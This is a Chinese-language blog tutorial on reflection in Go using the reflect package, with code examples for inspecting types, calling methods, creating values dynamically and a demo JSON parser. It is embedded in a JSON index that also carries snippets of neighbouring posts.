GC：了解便利背后的开销"},{"content":"\n本文永久链接 – https://tonybai.com/2023/06/04/reflection-programming-guide-in-go\n反射是一种编程语言的高级特性，它允许程序在运行时检视自身的结构和行为。通过反射，程序可以动态地获取类型(type)与值(value)等信息，并对它们进行操作，诸如修改字段、调用方法等，这使得程序具有更大的灵活性和可扩展性。\n不过，反射虽然具有强大的功能，但也存在一些缺点。由于反射是在运行时进行的，因此它比直接调用代码的性能要差。此外，反射还可能导致代码的可读性和维护性降低，因为它使得程序行为更加难以预测和理解。因此，在使用反射时需要注意性能和可维护性。\nGo从诞生伊始就在运行时支持了反射，并在标准库中提供了reflect包供开发者进行反射编程时使用。在这篇文章中，我们就来系统地了解一下如何在Go中通过reflect包实现反射编程。\n注：我的Go语言精进之路一书有关于Go反射的进阶讲解，欢迎阅读。\n1. Go语言反射基础 相对于C/C++等系统编程语言，Go的运行时承担的功能要更多一些，比如Goroutine调度、Go内存垃圾回收(GC)等。同时反射也为开发者与运行时之间提供了一个方便的、合法的交互窗口。通过反射，开发者可以合法的窥探关于Go类型系统的一些元信息。\n注：《Go语言第一课》专栏第31~34讲对Goroutine调度以及Go并发编程做了系统详细的讲解，欢迎阅读。\nGo语言的反射包（reflect包）是一个内置的包，它提供了一组API，能够在运行时获取和修改Go语言程序的结构和行为。reflect包也是所有Go反射编程的基础API，是进行Go反射编程的必经之路。\n在本节中，我们将会探讨reflect包的一些基础知识，包括Type和Value两个重要的反射包类型，以及如何使用TypeOf和ValueOf方法来获取类型信息和值信息。\n1.1 Type和Value 在reflect包中，Type和Value是两个非常重要的概念，它们分别表示了反射世界中的类型信息和值信息。\nType表示一个类型的元信息，它包含了类型的名称、大小、方法集合等信息。在反射编程中，我们可以使用TypeOf函数来获取一个值的类型信息。\nValue表示一个值的信息，它包含了值的类型、值本身以及对值进行操作的方法集合等信息。在反射中，我们可以使用ValueOf函数来获取一个值的Value信息。\nreflect包的TypeOf和ValueOf两个函数是进入反射世界的基本入口。下面我们来看看这两个函数的基本用法示例。\n1.2 如何获取类型信息（TypeOf） 获取类型信息是反射的一个重要功能。在Go语言中，我们可以使用reflect包的TypeOf函数来获取一个值的类型信息。TypeOf函数的签名如下：\nfunc TypeOf(i any) Type 注：any是interface{}的alias type，是Go 1.18中引入的预定义标识符。\nTypeOf函数接受一个任意类型的值作为参数，并返回该值的类型信息，即interface{}接口类型变量中存储的动态类型信息。例如，我们可以使用TypeOf函数获取一个字符串的类型信息：\nimport ( \u0026quot;fmt\u0026quot; \u0026quot;reflect\u0026quot; ) func main() { s := \u0026quot;hello, world!\u0026quot; t := reflect.TypeOf(s) fmt.Println(t.Name()) // string } 用图直观表示如下：\n1.4 如何获取值信息（ValueOf） 获取值信息是反射的另一个重要功能。在Go语言中，我们可以使用reflect包的ValueOf函数来获取一个值的Value信息。ValueOf函数的签名如下：\nfunc ValueOf(i any) Value ValueOf函数接受一个任意类型的值作为参数，并返回该值的Value信息，即interface{}接口类型变量中存储的动态类型的值的信息。例如，我们可以使用ValueOf函数获取一个整数的Value信息：\nimport ( \u0026quot;fmt\u0026quot; \u0026quot;reflect\u0026quot; ) func main() { i := 42 v := reflect.ValueOf(i) fmt.Println(v.Int()) // 42 } 在上述示例中，我们首先定义了一个整数i，然后使用ValueOf函数获取其Value信息，并调用Int方法获取其值。\n用图直观表示如下：\n以上就是reflect包TypeOf和ValueOf函数的基本用法的示例，下面我们再来详细看看获取不同类型的类型信息和值信息的细节。\n2. 检视类型信息和调用类型方法 reflect.Type实质上是一个接口类型，它封装了reflect可以提供的类型信息的所有方法(Go 1.20版本中的reflect.Type)：\n// $GOROOT/src/reflect/type.go type Type interface { // Methods applicable to all types. // Align returns the alignment in bytes of a value of // this type when allocated in memory. Align() int // FieldAlign returns the alignment in bytes of a value of // this type when used as a field in a struct. FieldAlign() int // Method returns the i'th method in the type's method set. // It panics if i is not in the range [0, NumMethod()). // // For a non-interface type T or *T, the returned Method's Type and Func // fields describe a function whose first argument is the receiver, // and only exported methods are accessible. // // For an interface type, the returned Method's Type field gives the // method signature, without a receiver, and the Func field is nil. // // Methods are sorted in lexicographic order. Method(int) Method // MethodByName returns the method with that name in the type's // method set and a boolean indicating if the method was found. // // For a non-interface type T or *T, the returned Method's Type and Func // fields describe a function whose first argument is the receiver. // // For an interface type, the returned Method's Type field gives the // method signature, without a receiver, and the Func field is nil. MethodByName(string) (Method, bool) // NumMethod returns the number of methods accessible using Method. // // For a non-interface type, it returns the number of exported methods. // // For an interface type, it returns the number of exported and unexported methods. NumMethod() int // Name returns the type's name within its package for a defined type. // For other (non-defined) types it returns the empty string. Name() string // PkgPath returns a defined type's package path, that is, the import path // that uniquely identifies the package, such as \u0026quot;encoding/base64\u0026quot;. // If the type was predeclared (string, error) or not defined (*T, struct{}, // []int, or A where A is an alias for a non-defined type), the package path // will be the empty string. PkgPath() string // Size returns the number of bytes needed to store // a value of the given type; it is analogous to unsafe.Sizeof. Size() uintptr // String returns a string representation of the type. // The string representation may use shortened package names // (e.g., base64 instead of \u0026quot;encoding/base64\u0026quot;) and is not // guaranteed to be unique among types. To test for type identity, // compare the Types directly. String() string // Kind returns the specific kind of this type. Kind() Kind // Implements reports whether the type implements the interface type u. Implements(u Type) bool // AssignableTo reports whether a value of the type is assignable to type u. AssignableTo(u Type) bool // ConvertibleTo reports whether a value of the type is convertible to type u. // Even if ConvertibleTo returns true, the conversion may still panic. // For example, a slice of type []T is convertible to *[N]T, // but the conversion will panic if its length is less than N. ConvertibleTo(u Type) bool // Comparable reports whether values of this type are comparable. // Even if Comparable returns true, the comparison may still panic. // For example, values of interface type are comparable, // but the comparison will panic if their dynamic type is not comparable. Comparable() bool // Methods applicable only to some types, depending on Kind. // The methods allowed for each kind are: // // Int*, Uint*, Float*, Complex*: Bits // Array: Elem, Len // Chan: ChanDir, Elem // Func: In, NumIn, Out, NumOut, IsVariadic. // Map: Key, Elem // Pointer: Elem // Slice: Elem // Struct: Field, FieldByIndex, FieldByName, FieldByNameFunc, NumField // Bits returns the size of the type in bits. // It panics if the type's Kind is not one of the // sized or unsized Int, Uint, Float, or Complex kinds. Bits() int // ChanDir returns a channel type's direction. // It panics if the type's Kind is not Chan. ChanDir() ChanDir // IsVariadic reports whether a function type's final input parameter // is a \u0026quot;...\u0026quot; parameter. If so, t.In(t.NumIn() - 1) returns the parameter's // implicit actual type []T. // // For concreteness, if t represents func(x int, y ... float64), then // // t.NumIn() == 2 // t.In(0) is the reflect.Type for \u0026quot;int\u0026quot; // t.In(1) is the reflect.Type for \u0026quot;[]float64\u0026quot; // t.IsVariadic() == true // // IsVariadic panics if the type's Kind is not Func. IsVariadic() bool // Elem returns a type's element type. // It panics if the type's Kind is not Array, Chan, Map, Pointer, or Slice. Elem() Type // Field returns a struct type's i'th field. // It panics if the type's Kind is not Struct. // It panics if i is not in the range [0, NumField()). Field(i int) StructField // FieldByIndex returns the nested field corresponding // to the index sequence. It is equivalent to calling Field // successively for each index i. // It panics if the type's Kind is not Struct. FieldByIndex(index []int) StructField // FieldByName returns the struct field with the given name // and a boolean indicating if the field was found. FieldByName(name string) (StructField, bool) // FieldByNameFunc returns the struct field with a name // that satisfies the match function and a boolean indicating if // the field was found. // // FieldByNameFunc considers the fields in the struct itself // and then the fields in any embedded structs, in breadth first order, // stopping at the shallowest nesting depth containing one or more // fields satisfying the match function. If multiple fields at that depth // satisfy the match function, they cancel each other // and FieldByNameFunc returns no match. // This behavior mirrors Go's handling of name lookup in // structs containing embedded fields. FieldByNameFunc(match func(string) bool) (StructField, bool) // In returns the type of a function type's i'th input parameter. // It panics if the type's Kind is not Func. // It panics if i is not in the range [0, NumIn()). In(i int) Type // Key returns a map type's key type. // It panics if the type's Kind is not Map. Key() Type // Len returns an array type's length. // It panics if the type's Kind is not Array. Len() int // NumField returns a struct type's field count. // It panics if the type's Kind is not Struct. NumField() int // NumIn returns a function type's input parameter count. // It panics if the type's Kind is not Func. NumIn() int // NumOut returns a function type's output parameter count. // It panics if the type's Kind is not Func. NumOut() int // Out returns the type of a function type's i'th output parameter. // It panics if the type's Kind is not Func. // It panics if i is not in the range [0, NumOut()). Out(i int) Type common() *rtype uncommon() *uncommonType } 我们看到这是一个“超级接口”，严格来说并不符合Go接口设计的惯例。\n注：Go崇尚小接口。以Type接口为例，可以对Type接口做进一步分解，分解成若干内聚的小接口，然后将Type看成小接口的组合。\n对于不同类型，Type接口的有些方法是冗余的，比如像上面的NumField、NumIn和NumOut方法对于一个int变量的类型信息来说就毫无意义。Type类型的注释中也提到：“Not all methods apply to all kinds of types”。\n一旦通过TypeOf进入反射世界，拿到Type类型变量，那么我们就可以基于上述方法“翻看”类型的各种信息了。\n对于像int、float64、string这样的基本类型来说，其类型信息的检视没有太多可说的。但对于其他类型，诸如复合类型、指针类型、函数类型等，还是有一些可聊聊的，我们下面逐一简单地看一下。\n2.1 复合类型 2.1.1 数组类型 在Go中，数组类型是一种典型的复合类型，它有若干属性，包括数组长度、数组是否支持可比较、数组元素的类型等，看下面示例：\nimport ( \u0026quot;fmt\u0026quot; \u0026quot;reflect\u0026quot; ) func main() { arr := [5]int{1, 2, 3, 4, 5} typ := reflect.TypeOf(arr) fmt.Println(typ.Kind()) // array fmt.Println(typ.Len()) // 5 fmt.Println(typ.Comparable()) // true elemTyp := typ.Elem() fmt.Println(elemTyp.Kind()) // int fmt.Println(elemTyp.Comparable()) // true } 注：通过类型信息无法间接得到值信息，反之不然，稍后系统说明reflect.Value时会提到。\n在这个例子，我们输出了arr这个数组类型变量的Kind信息。什么是Kind信息呢？reflect包中是如此定义的：\n// A Kind represents the specific kind of type that a Type represents. // The zero Kind is not a valid kind. type Kind uint const ( Invalid Kind = iota Bool Int Int8 Int16 Int32 Int64 Uint Uint8 Uint16 Uint32 Uint64 Uintptr Float32 Float64 Complex64 Complex128 Array Chan Func Interface Map Pointer Slice String Struct UnsafePointer ) 我们可以将Kind当做是Go type信息的元信息，对于基本类型来说，如int、string、float64等，它的kind和它的type的表达是一致的。但对于像数组、切片等类型，kind更像是type的type。\n以两个数组类型为例：\nvar arr1 [10]string var arr2 [8]int 这两个数组类型的类型分别是[10]string和[8]int，但它们在反射世界的reflect.Type的Kind信息却都为Array。\n再比如下面两个指针类型：\nvar p1 *float64 var p2 *MyFoo 这两个指针类型的类型分别是*float64和*MyFoo，但它们在反射世界的reflect.Type的Kind信息却都为Pointer。\nKind信息可以帮助开发人员在反射世界中区分类型，以对不同类型作不同的处理。比如对于Kind为Int的reflect.Type，你不能使用其Len()方法，否则会panic；但对于Kind为Array的则可以。开发人员使用反射提供的Kind信息可以处理不同类型的数据。\n2.1.2 切片类型 在Go中切片是动态数组，可灵活、透明的扩容，多数情况下切片都能替代数组完成任务。在反射世界中通过reflect.Type我们可以获取切片类型的信息，包括元素类型等。下面是一个示例：\npackage main import ( \u0026quot;fmt\u0026quot; \u0026quot;reflect\u0026quot; ) func main() { s := make([]int, 5, 10) typ := reflect.TypeOf(s) fmt.Println(typ.Kind()) // slice fmt.Println(typ.Elem()) // int } 如果我们使用上面的变量typ调用Type类型的Len和Cap方法会发生什么呢？在运行时，你将得到类似”panic: reflect: Len of non-array type []int”的报错！\n那么问题来了！切片长度、容量到底是否是slice type的信息范畴呢? 我们来看一个例子：\nvar a = make([]int, 5, 10) var b = make([]int, 7, 变量a和b的类型都是[]int。显然长度、容量等并不在切片类型的范畴，而是与切片变量值绑定的，下面的示例印证了这一点：\nfunc main() { s := make([]int, 5, 10) val := reflect.ValueOf(s) fmt.Println(val.Len()) // 5 fmt.Println(val.Cap()) // 10 } 我们获取了切片变量s的reflect.Value信息，通过Value我们得到了变量s的长度和容量信息。\n2.1.3 结构体类型 结构体类型是与反射联合使用的重要类型，下面代码展示了如何通过reflect.Type获取结构体类型的相关信息：\npackage main import ( \u0026quot;fmt\u0026quot; \u0026quot;reflect\u0026quot; ) type Person struct { Name string `json:\u0026quot;name\u0026quot;` Age int `json:\u0026quot;age\u0026quot;` gender string } func (p Person) SayHello() { fmt.Printf(\u0026quot;Hello, my name is %s, and I'm %d years old.\\n\u0026quot;, p.Name, p.Age) } func (p Person) unexportedMethod() { } func main() { p := Person{Name: \u0026quot;Tom\u0026quot;, Age: 20, gender: \u0026quot;male\u0026quot;} typ := reflect.TypeOf(p) fmt.Println(typ.Kind()) // struct fmt.Println(typ.NumField()) // 3 fmt.Println(typ.Field(0).Name) // Name fmt.Println(typ.Field(0).Type) // string fmt.Println(typ.Field(0).Tag) // json:\u0026quot;name\u0026quot; fmt.Println(typ.Field(1).Name) // Age fmt.Println(typ.Field(1).Type) // int fmt.Println(typ.Field(1).Tag) // json:\u0026quot;age\u0026quot; fmt.Println(typ.Field(2).Name) // gender fmt.Println(typ.Method(0).Name) // SayHello fmt.Println(typ.Method(0).Type) // func(main.Person) fmt.Println(typ.Method(0).Func) // 0x109b6e0 fmt.Println(typ.MethodByName(\u0026quot;SayHello\u0026quot;)) // {SayHello func(main.Person)} fmt.Println(typ.MethodByName(\u0026quot;unexportedMethod\u0026quot;)) // { \u0026lt;nil\u0026gt; \u0026lt;invalid Value\u0026gt; 0} false } 从上面例子可以看到，我们可以使用NumField、Field、NumMethod、Method和MethodByName等方法获取结构体的字段信息和方法信息。其中，Field方法返回的是StructField类型的值，包含了字段的名称、类型、标签等信息；Method方法返回的是Method类型的值，包含了方法的名称、类型和函数值等信息。\n不过要注意：通过Type可以得到结构体中非导出字段的信息(如上面示例中的gender)，但无法获取结构体类型的非导出方法信息(如上面示例中的unexportedMethod)。\n2.1.4 channel类型 channel是Go特有的类型，channel与切片很像，它的类型信息包括元素类型、chan读写特性，但channel的长度与容量与channel变量是绑定的，看下面示例：\npackage main import ( \u0026quot;fmt\u0026quot; \u0026quot;reflect\u0026quot; ) func main() { ch := make(chan\u0026lt;- int, 10) ch \u0026lt;- 1 ch \u0026lt;- 2 typ := reflect.TypeOf(ch) fmt.Println(typ.Kind()) // chan fmt.Println(typ.Elem()) // int fmt.Println(typ.ChanDir()) // chan\u0026lt;- fmt.Println(reflect.ValueOf(ch).Len()) // 2 fmt.Println(reflect.ValueOf(ch).Cap()) // 10 } 基于反射和channel可以实现一些高级操作，比如之前写过一篇《使用反射操作channel》，大家可以移步看看。\n2.1.5 map类型 map是go常用的内置的复合类型，它是一个无序键值对的集合，通过反射可以获取其键和值的类型信息：\npackage main import ( \u0026quot;fmt\u0026quot; \u0026quot;reflect\u0026quot; ) func main() { m := map[string]int{\u0026quot;a\u0026quot;: 1, \u0026quot;b\u0026quot;: 2, \u0026quot;c\u0026quot;: 3} typ := reflect.TypeOf(m) fmt.Println(typ.Kind()) // map fmt.Println(typ.Key()) // string fmt.Println(typ.Elem()) // int fmt.Println(reflect.ValueOf(m).Len()) // 3 } 我们看到，和切片一样，map变量的长度信息是与map变量的Value绑定的，另外要注意：map变量不能获取容量信息。\n2.2 指针类型 指针类型是一个大类，通过Type可以获得指针的kind和其指向的变量的类型信息：\npackage main import ( \u0026quot;fmt\u0026quot; \u0026quot;reflect\u0026quot; ) func main() { i := 10 p := \u0026amp;i typ := reflect.TypeOf(p) fmt.Println(typ.Kind()) // ptr fmt.Println(typ.Elem()) // int } 2.3 接口类型 接口即契约。在Go中非作为约束的接口类型本质就是一个方法集合，通过reflect.Type可以获得接口类型的这些信息：\npackage main import ( \u0026quot;fmt\u0026quot; \u0026quot;reflect\u0026quot; ) type Animal interface { Speak() string } type Cat struct{} func (c Cat) Speak() string { return \u0026quot;Meow\u0026quot; } func main() { var a Animal = Cat{} typ := reflect.TypeOf(a) fmt.Println(typ.Kind()) // struct fmt.Println(typ.NumMethod()) // 1 fmt.Println(typ.Method(0).Name) // Speak fmt.Println(typ.Method(0).Type) // func(main.Cat) string } 2.4 函数类型 函数在Go中是一等公民，我们可以将其像普通int类型那样去使用，传参、赋值、做返回值都是ok的。下面是通过Type获取函数类型信息的示例：\npackage main import ( \u0026quot;fmt\u0026quot; \u0026quot;reflect\u0026quot; ) func foo(a, b int, c *int) (int, bool) { *c = a + b return *c, true } func main() { typ := reflect.TypeOf(foo) fmt.Println(typ.Kind()) // func fmt.Println(typ.NumIn()) // 3 fmt.Println(typ.In(0), typ.In(1), typ.In(2)) // int int *int fmt.Println(typ.NumOut()) // 2 fmt.Println(typ.Out(0)) // int fmt.Println(typ.Out(1)) // bool } 我们看到和其他类型不同，函数支持NumOut、NumIn、Out等方法。其中In是输出参数的集合，Out则是返回值参数的集合。\n注：上述示例foo纯粹为了演示，不要计较其合理性问题。\n3. 获取与修改值信息 掌握了如何在反射世界获取一个变量的类型信息后，我们再来看看如何在反射世界获取并修改一个变量的值信息。之前在《使用reflect包在反射世界里读写各类型变量》一文中详细讲解了使用reflect读写变量的值信息，大家可以移步那篇文章阅读。\n注：并不是所有变量都可以修改值的，可以使用Value的CanSet方法判断值是否可以设置。\n4. 调用函数与方法 通过反射我们可以在反射世界调用函数，也可以调用特定类型的变量的方法。\n下面是一个通过reflect.Value调用函数的简单例子：\npackage main import ( \u0026quot;fmt\u0026quot; \u0026quot;reflect\u0026quot; ) func add(a, b int) int { return a + b } func main() { // 获取函数类型变量 val := reflect.ValueOf(add) // 准备函数参数 args := []reflect.Value{reflect.ValueOf(1), reflect.ValueOf(2)} // 调用函数 result := val.Call(args) fmt.Println(result[0].Int()) // 输出：3 } 从示例看到，我们通过Value的Call方法来调用函数add。add有两个入参，我们不能直接传入int类型，因为这是在反射世界，我们要用反射世界的“专用参数”，即ValueOf后的值。Call的结果就是反射世界的返回值的Value形式，通过Value.Int方法可以还原反射世界的Value为int。\n注：通过reflect.Type无法调用函数和方法。\n方法的调用与函数调用类似，下面是一个例子：\nimport ( \u0026quot;fmt\u0026quot; \u0026quot;reflect\u0026quot; ) type Rectangle struct { Width float64 Height float64 } func (r Rectangle) Area(factor float64) float64 { return r.Width * r.Height * factor } func main() { r := Rectangle{Width: 10, Height: 5} val := reflect.ValueOf(r) method := val.MethodByName(\u0026quot;Area\u0026quot;) args := []reflect.Value{reflect.ValueOf(1.5)} result := method.Call(args) fmt.Println(result[0].Float()) // 输出：75 } 通过MethodByName获取反射世界的method value，然后同样是通过Call方法实现方法Area的调用。\n注：reflect目前不支持对非导出方法的调用。\n5. 动态创建类型实例 reflect更为强大的功能是可以在运行时动态创建各种类型的实例。下面是在反射世界动态创建各种类型实例的示例。\n5.1 基本类型 下面以int、float64和string为例演示一下如何通过reflect在运行时动态创建基本类型的实例。\n创建int类型实例\nfunc main() { val := reflect.New(reflect.TypeOf(0)) val.Elem().SetInt(42) fmt.Println(val.Elem().Int()) // 输出：42 }\n创建float64类型实例\nfunc main() { val := reflect.New(reflect.TypeOf(0.0)) val.Elem().SetFloat(3.14) fmt.Println(val.Elem().Float()) // 输出：3.14 }\n创建string类型实例\nfunc main() { val := reflect.New(reflect.TypeOf(\u0026quot;\u0026quot;)) val.Elem().SetString(\u0026ldquo;hello\u0026rdquo;) fmt.Println(val.Elem().String()) // 输出：hello }\n更为复杂的类型的实例，我们继续往下看。\n5.2 数组类型 使用reflect在运行时创建一个[3]int类型的数组实例，并设置数组实例各个元素的值：\nfunc main() { typ := reflect.ArrayOf(3, reflect.TypeOf(0)) val := reflect.New(typ) arr := val.Elem() arr.Index(0).SetInt(1) arr.Index(1).SetInt(2) arr.Index(2).SetInt(3) fmt.Println(arr.Interface()) // 输出：[1 2 3] arr1, ok := arr.Interface().([3]int) if !ok { fmt.Println(\u0026quot;not a [3]int\u0026quot;) return } fmt.Println(arr1) // [1 2 3] } 5.3 切片类型 使用reflect在运行时创建一个[]int类型的切片实例，并设置切片实例中各个元素的值：\nfunc main() { typ := reflect.SliceOf(reflect.TypeOf(0)) // 切片元素类型 val := reflect.MakeSlice(typ, 3, 3) // 动态创建切片实例 val.Index(0).SetInt(1) val.Index(1).SetInt(2) val.Index(2).SetInt(3) fmt.Println(val.Interface()) // 输出：[1 2 3] sl, ok := val.Interface().([]int) if !ok { fmt.Println(\u0026quot;sl is not a []int\u0026quot;) return } fmt.Println(sl) // [1 2 3] } 5.4 map类型 使用reflect在运行时创建一个map[string]int类型的实例，并设置map实例中键值对：\nfunc main() { typ := reflect.MapOf(reflect.TypeOf(\u0026quot;\u0026quot;), reflect.TypeOf(0)) val := reflect.MakeMap(typ) key1 := reflect.ValueOf(\u0026quot;one\u0026quot;) value1 := reflect.ValueOf(1) key2 := reflect.ValueOf(\u0026quot;two\u0026quot;) value2 := reflect.ValueOf(2) val.SetMapIndex(key1, value1) val.SetMapIndex(key2, value2) fmt.Println(val.Interface()) // 输出：map[one:1 two:2] m, ok := val.Interface().(map[string]int) if !ok { fmt.Println(\u0026quot;m is not a map[string]int\u0026quot;) return } fmt.Println(m) } 5.5 channel类型 使用reflect在运行时创建一个chan int类型的实例，并从该channel实例接收数据:\nfunc main() { typ := reflect.ChanOf(reflect.BothDir, reflect.TypeOf(0)) val := reflect.MakeChan(typ, 0) go func() { val.Send(reflect.ValueOf(42)) }() ch, ok := val.Interface().(chan int) if !ok { fmt.Println(\u0026quot;ch is not a chan int\u0026quot;) return } fmt.Println(\u0026lt;-ch) // 42 } 5.6 结构体类型 使用reflect在运行时创建一个struct类型的实例，并设置该实例的字段值并调用该实例的方法：\ntype Person struct { Name string Age int } func (p Person) Greet() { fmt.Printf(\u0026quot;Hello, my name is %s and I am %d years old\\n\u0026quot;, p.Name, p.Age) } func (p Person) SayHello(name string) { fmt.Printf(\u0026quot;Hello, %s! My name is %s\\n\u0026quot;, name, p.Name) } func main() { typ := reflect.StructOf([]reflect.StructField{ { Name: \u0026quot;Name\u0026quot;, Type: reflect.TypeOf(\u0026quot;\u0026quot;), }, { Name: \u0026quot;Age\u0026quot;, Type: reflect.TypeOf(0), }, }) ptrVal := reflect.New(typ) val := ptrVal.Elem() val.FieldByName(\u0026quot;Name\u0026quot;).SetString(\u0026quot;Alice\u0026quot;) val.FieldByName(\u0026quot;Age\u0026quot;).SetInt(25) person := (*Person)(ptrVal.UnsafePointer()) person.Greet() // 输出：Hello, my name is Alice and I am 25 years old person.SayHello(\u0026quot;Bob\u0026quot;) // 输出：Hello, Bob! My name is Alice } 我们看到：上面代码在反射世界中动态创建了一个带有两个字段Name和Age的struct类型，注意该struct类型与Person并非同一个类型，但他们的内存结构是一致的。这就是上面代码尾部基于反射世界创建出的匿名struct显式转换为Person类型后能正常工作的原因。\n注：目前reflect不支持在运行时为动态创建的结构体类型添加新方法。\n5.7 指针类型 使用reflect在运行时创建一个指针类型的实例，并通过指针设置其指向内存对象的值：\ntype Person struct { Name string Age int } func main() { typ := reflect.PtrTo(reflect.TypeOf(Person{})) val := reflect.New(typ.Elem()) val.Elem().FieldByName(\u0026quot;Name\u0026quot;).SetString(\u0026quot;Alice\u0026quot;) val.Elem().FieldByName(\u0026quot;Age\u0026quot;).SetInt(25) person := val.Interface().(*Person) fmt.Println(person.Name) // 输出：Alice fmt.Println(person.Age) // 输出：25 } 5. 反射的使用场景 结合结构体标签，Go反射在实际开发中常用于以下两个场景中：\n序列化和反序列化 这是我们最熟悉的场景。\n反射机制可以用于将数据结构序列化成二进制或文本格式，或者将序列化后的数据反序列化成原始数据结构。比如标准库的encoding/json包、xml包、gob包等就是使用反射机制实现的。\n实现ORM框架 反射机制可以用于在ORM（对象关系映射）中动态创建和修改对象，使得ORM能够根据数据库表结构自动创建对应的Go语言结构体。\n注：我的Go语言精进之路一书关于Go反射的讲解中，有一个基于Go对象生成sql语句的例子。\n当然reflect的应用不局限在上述场景中，凡是需要在运行时了解类型信息、值信息的都可以尝试使用reflect来实现，比如：编写可以处理多种类型的通用函数(可以用interface{}以及泛型替代)、利用通过reflect.Type.Kind的信息在代码中做类型断言、根据reflect得到的类型信息做代码自动生成等。\n下面是一个利用reflect手动解析json的示例，我们来看一下：\n6. 利用reflect手解json的例子 请注意：这不是一个可复用的完善的json解析代码，仅仅是为了演示而用。\n例子代码如下：\npackage main import ( \u0026quot;fmt\u0026quot; \u0026quot;reflect\u0026quot; \u0026quot;strings\u0026quot; ) type Person struct { Name string Age int IsStudent bool } func main() { jsonStr := `{ \u0026quot;name\u0026quot;: \u0026quot;John Doe\u0026quot;, \u0026quot;age\u0026quot;: 30, \u0026quot;isStudent\u0026quot;: false }` person := Person{} parseJSONToStruct(jsonStr, \u0026amp;person) fmt.Printf(\u0026quot;%+v\\n\u0026quot;, person) } func parseJSONToStruct(jsonStr string, v interface{}) { jsonLines := strings.Split(jsonStr, \u0026quot;\\n\u0026quot;) rv := reflect.ValueOf(v).Elem() for _, line := range jsonLines { line = strings.TrimSpace(line) if strings.HasPrefix(line, \u0026quot;{\u0026quot;) || strings.HasPrefix(line, \u0026quot;}\u0026quot;) { continue } parts := strings.SplitN(line, \u0026quot;:\u0026quot;, 2) key := strings.TrimSpace(strings.Trim(parts[0], `\u0026quot;`)) value := strings.TrimSpace(strings.Trim(parts[1], \u0026quot;,\u0026quot;)) // Find the corresponding field in the struct field := rv.FieldByNameFunc(func(fieldName string) bool { return strings.EqualFold(fieldName, key) }) if field.IsValid() { switch field.Kind() { case reflect.String: field.SetString(strings.Trim(value, `\u0026quot;`)) case reflect.Int: intValue, _ := strconv.Atoi(value) field.SetInt(int64(intValue)) case reflect.Bool: boolValue := strings.ToLower(value) == \u0026quot;true\u0026quot; field.SetBool(boolValue) } } } } 这段代码不是很难理解。\nparseJSONToStruct函数首先将JSON字符串按行拆分，然后使用反射机制，获取v所对应的结构体的值，并将其保存在rv变量中。\n接下来，函数遍历JSON字符串的每一行，如果该行以{或}开头，则直接跳过。否则，将该行按冒号:拆分成两部分，一部分是键（key），一部分是值（value）。\n然后，函数使用反射机制，查找结构体中与该键对应的字段。这里使用了FieldByNameFunc方法，传入一个匿名函数作为参数，用于根据字段名查找对应的字段。如果找到了对应的字段，就根据该字段的类型，将值赋给该字段。这里支持了三种类型的字段：字符串、整数和布尔值。\n最终，函数会将解析后的结果保存在v中，由于v是一个空接口类型的变量，实际上保存的是对应结构体的值的指针。所以在函数外部使用v时，需要将其转换为对应的结构体类型。\n6. Go反射的不足 Go反射的优点在于它可以帮助我们实现更灵活和可扩展的程序设计。但是，Go反射也存在一些缺陷和局限性。其中，最主要的问题是性能。使用反射可能会导致程序性能下降，因为反射需要进行类型检查和动态分派，进出反射世界也需要额外的内存分配和装箱和拆箱操作。在编写高性能的Go程序时，应尽量避免使用反射机制。\n此外，使用反射的代码可读性也相对较差，因为反射代码通常比较复杂和冗长。\n7. 小结 Go反射是一种强大和灵活的机制，可以帮助我们实现运行时的类型和值信息获取、值操作、方法/函数调用以及动态创建类型实例，本文涵盖了所有这些操作的方法，希望能给大家带去帮助。\n本文中涉及的代码可以在这里下载。\n“Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2023年，Gopher部落将进一步聚焦于如何编写雅、地道、可读、可测试的Go代码，关注代码质量并深入理解Go核心技术，并继续加强与星友的互动。欢迎大家加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2023/06/04/reflection-programming-guide-in-go/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/reflection-programming-guide-in-go-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2023/06/04/reflection-programming-guide-in-go\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2023/06/04/reflection-programming-guide-in-go\"\u003ehttps://tonybai.com/2023/06/04/reflection-programming-guide-in-go\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://en.wikipedia.org/wiki/Reflective_programming\"\u003e反射\u003c/a\u003e是一种编程语言的高级特性，它允许程序在运行时检视自身的结构和行为。通过反射，程序可以动态地获取类型(type)与值(value)等信息，并对它们进行操作，诸如修改字段、调用方法等，这使得程序具有更大的灵活性和可扩展性。\u003c/p\u003e\n\u003cp\u003e不过，反射虽然具有强大的功能，但也存在一些缺点。由于反射是在运行时进行的，因此它比直接调用代码的性能要差。此外，反射还可能导致代码的可读性和维护性降低，因为它使得程序行为更加难以预测和理解。因此，在使用反射时需要注意性能和可维护性。\u003c/p\u003e","title":"Go语言反射编程指南"},{"content":"\n本文永久链接 – https://tonybai.com/2023/05/28/understand-time-series-of-tsdb\n在当今数据爆炸的时代，时序数据已经成为企业和组织中不可或缺的一部分。它们包括了从传感器、监控设备、日志记录系统和金融交易等多种来源的大量数据，这些数据按照时间顺序排列，记录了各种事件和活动的发生和变化。时序数据的分析和处理对于企业的业务决策和运营效率至关重要。为了更好地管理和利用这些数据，人们发明了时序数据库管理系统(Time Series Database System，TSDB)。\n在时序数据库系统中，时序数据通常被抽象和组织为时间线(time series)，时序数据库的设计与实现也是围绕着时间线进行的，因此理解时间线是深入理解时序数据库系统的前提。\n在本文中，我将和大家一起学习一下时序数据库中时间线的概念，并以InfluxDB(2.x)为例探讨时间线在该数据库中的组织和呈现形式。\n在学习时间线之前，我们先来重新认识一下时序数据。\n1. 